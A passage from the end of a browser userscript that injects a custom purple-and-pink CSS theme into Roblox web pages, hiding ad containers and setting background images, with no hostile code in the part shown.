  615. 	"    background: #692590;",
  616. 	"  }",
  617. 	"",
  618. 	"  .rbx-tabs-horizontal .rbx-tab.active .rbx-tab-heading, .rbx-tabs-horizontal .rbx-tab-heading:hover, .rbx-tabs-horizontal .rbx-tab-heading:focus, .rbx-tabs-horizontal .rbx-tab-heading:active",
  619. 	"  {",
  620. 	"    box-shadow: 0 -4px 0 .6 #f089b8 inset;",
  621. 	"      /* Yea idk what this is for*/",
  622. 	"    ;",
  623. 	"  }",
  624. 	"",
  625. 	"  .forum-table-header, body .forum-table-header th, body .forum-table-footer, #ctl00_cphRoblox_Message1_ctl00_CenterColumn > table > tbody > tr:nth-child(1) > th, #ctl00_cphRoblox_CenterColumn > table > tbody > tr:nth-child(1) > th",
  626. 	"  {",
  627. 	"    background: #ccabff !important;",
  628. 	"      /*Forum colors and messaging underline color*/",
  629. 	"    ;",
  630. 	"  }",
  631. 	"",
  632. 	"  .rbx-upgrade-now #upgrade-now-button, .rbx-btn-secondary-xs.btn-more, #AjaxCommentsContainer > div > div.comment-form > form > button, .rbx-vip-server-create, .btn-secondary-xs",
  633. 	"  {",
  634. 	"    background-color: #692590 !important;",
  635. 	"    border-color: #692590;",
  636. 	"      /*Updrade button*/",
  637. 	"    ;",
  638. 	"  }",
  639. 	"",
  640. 	"  .rbx-upgrade-now #upgrade-now-button:hover, .rbx-btn-secondary-xs.btn-more:hover, #AjaxCommentsContainer > div > div.comment-form > form > button:hover, .rbx-vip-server-create:hover, .btn-secondary-xs:hover",
  641. 	"  {",
  642. 	"    background: #ffdaef00 !important;",
  643. 	"    border-color: #ffdaef00;",
  644. 	"  }",
  645. 	"",
  646. 	"  #TopAbpContainer, .ad-annotations, #LeftGutterAdContainer, #RightGutterAdContainer, #Skyscraper-Adp-Right, #Skyscraper-Adp-Left, .abp-spacer, #GamesListContainer1 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-even, #GamesListContainer1 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-odd, #GamesListContainer8 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-even, #GamesListContainer8 > div.games-list > ul > div.abp.in-game-search-ad.dynamic-ad.ad-order-odd, .sponsored-game, .alert-info, #mCSB_1_container > ul > li.font-bold.small, #mCSB_1_container > ul > li.rbx-nav-sponsor",
  647. 	"  {",
  648. 	"    display: none !important;",
  649. 	"  }",
  650. 	"",
  651. 	"  .gotham-font .btn-to-link, .gotham-font .btn-to-link:active, .gotham-font .btn-to-link:hover, .gotham-font .btn-to-link:link, .gotham-font .btn-to-link:visited, .gotham-font .refresh-link, .gotham-font .refresh-link-icon, .gotham-font .refresh-link-icon:active, .gotham-font .refresh-link-icon:hover, .gotham-font .refresh-link-icon:link, .gotham-font .refresh-link-icon:visited, .gotham-font .refresh-link:active, .gotham-font .refresh-link:hover, .gotham-font .refresh-link:link, .gotham-font .refresh-link:visited, .gotham-font .see-all-link, .gotham-font .see-all-link-icon, .gotham-font .see-all-link-icon:active, .gotham-font .see-all-link-icon:hover, .gotham-font .see-all-link-icon:link, .gotham-font .see-all-link-icon:visited, .gotham-font .see-all-link:active, .gotham-font .see-all-link:hover, .gotham-font .see-all-link:link, .gotham-font .see-all-link:visited, .gotham-font .touch .btn-to-link, .gotham-font .touch .btn-to-link:active, .gotham-font .touch .btn-to-link:hover, .gotham-font .touch .btn-to-link:link, .gotham-font .touch .btn-to-link:visited, .gotham-font .touch .refresh-link, .gotham-font .touch .refresh-link-icon, .gotham-font .touch .refresh-link-icon:active, .gotham-font .touch .refresh-link-icon:hover, .gotham-font .touch .refresh-link-icon:link, .gotham-font .touch .refresh-link-icon:visited, .gotham-font .touch .refresh-link:active, .gotham-font .touch .refresh-link:hover, .gotham-font .touch .refresh-link:link, .gotham-font .touch .refresh-link:visited, .gotham-font .touch .see-all-link, .gotham-font .touch .see-all-link-icon, .gotham-font .touch .see-all-link-icon:active, .gotham-font .touch .see-all-link-icon:hover, .gotham-font .touch .see-all-link-icon:link, .gotham-font .touch .see-all-link-icon:visited, .gotham-font .touch .see-all-link:active, .gotham-font .touch .see-all-link:hover, .gotham-font .touch .see-all-link:link, .gotham-font .touch .see-all-link:visited",
  652. 	"  {",
  653. 	"    color: #000000;",
  654. 	"  }",
  655. 	"",
  656. 	"  #navbar-search-input, #navbar-search-btn",
  657. 	"  {",
  658. 	"    border: 1px solid #692590;",
  659. 	"      /*Search border color*/",
  660. 	"    ;",
  661. 	"  }",
  662. 	"",
  663. 	"  body",
  664. 	"  {",
  665. 	"    background: transparent !important;",
  666. 	"  }",
  667. 	"",
  668. 	"  .content",
  669. 	"  {",
  670. 	"    background: transparent !important;",
  671. 	"  }",
  672. 	"",
  673. 	"  #fb-root",
  674. 	"  {",
  675. 	"    width: 100% !important;",
  676. 	"    height: 100% !important;",
  677. 	"    position: fixed !important;",
  678. 	"    background-image: url(https://i.imgur.com/faLeD38.gif) !important;",
  679. 	"      /* Background */",
  680. 	"    background-size: cover !important;",
  681. 	"    background-attachment: fixed !important;",
  682. 	"  }",
  683. 	"",
  684. 	"  #party_none_title, div.friend_dock_chatbox_titlebar.chat-header-blink-off",
  685. 	"  {",
  686. 	"    background: linear-gradient(to bottom, #e5acb6, #e5acb6);",
  687. 	"  }",
  688. 	"",
  689. 	"  #ctl00_cphRoblox_RightColumn, #Body > table > tbody > tr > td:nth-child(3), #Body > table > tbody > tr > td:nth-child(4)",
  690. 	"  {",
  691. 	"    display: none;",
  692. 	"  }",
  693. 	"",
  694. 	"  #GamesPageLeftColumn",
  695. 	"  {",
  696. 	"    width: auto;",
  697. 	"    margin-right: 10px !important;",
  698. 	"    margin-left: 10px !important;",
  699. 	"  }",
  700. 	"",
  701. 	"  #GamesListsContainer > div",
  702. 	"  {",
  703. 	"    background-color: transparent !important;",
  704. 	"    width: 100% !important;",
  705. 	"  }",
  706. 	"",
  707. 	"  #navigation",
  708. 	"  {",
  709. 	"    background-color: #692590;",
  710. 	"  }",
  711. 	"",
  712. 	"  .notification-red",
  713. 	"  {",
  714. 	"    background-color: #692590;",
  715. 	"    padding: 1px 6px;",
  716. 	"    min-width: 18px;",
  717. 	"  }",
  718. 	"",
  719. 	"  .notification-blue",
  720. 	"  {",
  721. 	"    background-color: #692590;",
  722. 	"    padding: 1px 6px;",
  723. 	"    min-width: 18px;",
  724. 	"  }",
  725. 	"",
  726. 	"  .rbx-btn-primary-lg",
  727. 	"  {",
  728. 	"    background-color: rgba(255, 192, 203, 0.5);",
  729. 	"  }",
  730. 	"",
  731. 	"  .rbx-btn-primary-lg:hover, .rbx-btn-primary-lg:focus",
  732. 	"  {",
  733. 	"    background-color: rgba(255, 192, 203, 0.5);",
  734. 	"  }",
  735. 	"",
  736. 	"  .avatar-back",
  737. 	"  {",
  738. 	"    background-image: url(https://drive.google.com/file/d/1oE53p4dnJDHjrA25SKP0j3OzxgaxYA1V/view?usp=sharing);",
  739. 	" }"
  740. ].join("\n");
  741.    //Decide what to use based on last selected on load
  742.  checkCookie();
  743.  
  744.  
  745. if (typeof GM_addStyle != "undefined") {
  746. 	GM_addStyle(css);
  747. } else if (typeof PRO_addStyle != "undefined") {
  748. 	PRO_addStyle(css);
  749. } else if (typeof addStyle != "undefined") {
  750. 	addStyle(css);
  751. } else {
  752. 	var node = document.createElement("style");
  753. 	node.type = "text/css";
  754. 	//add the css text string from the array
  755.     node.appendChild(document.createTextNode(css));
  756. 	node.setAttribute("Id", "styling1");
  757.     var heads = document.getElementsByTagName("head");
  758. 	if (heads.length > 0) {
  759. 		heads[0].appendChild(node);
  760. 	} else {
  761. 		// no head yet, stick it whereever
  762. 		document.documentElement.appendChild(node);
  763. 	}
  764. }
  765. })();
  766.     //script.text ='function toggleTheme(value) {var sheets = document.getElementById("rbx-body"); sheets.href = value; }';
  767.  
  768.  
  769.    // script.setAttribute("id", "containerscripter2");
  770.    // head.appendChild(script);
  771.  
  772. }
  773. start();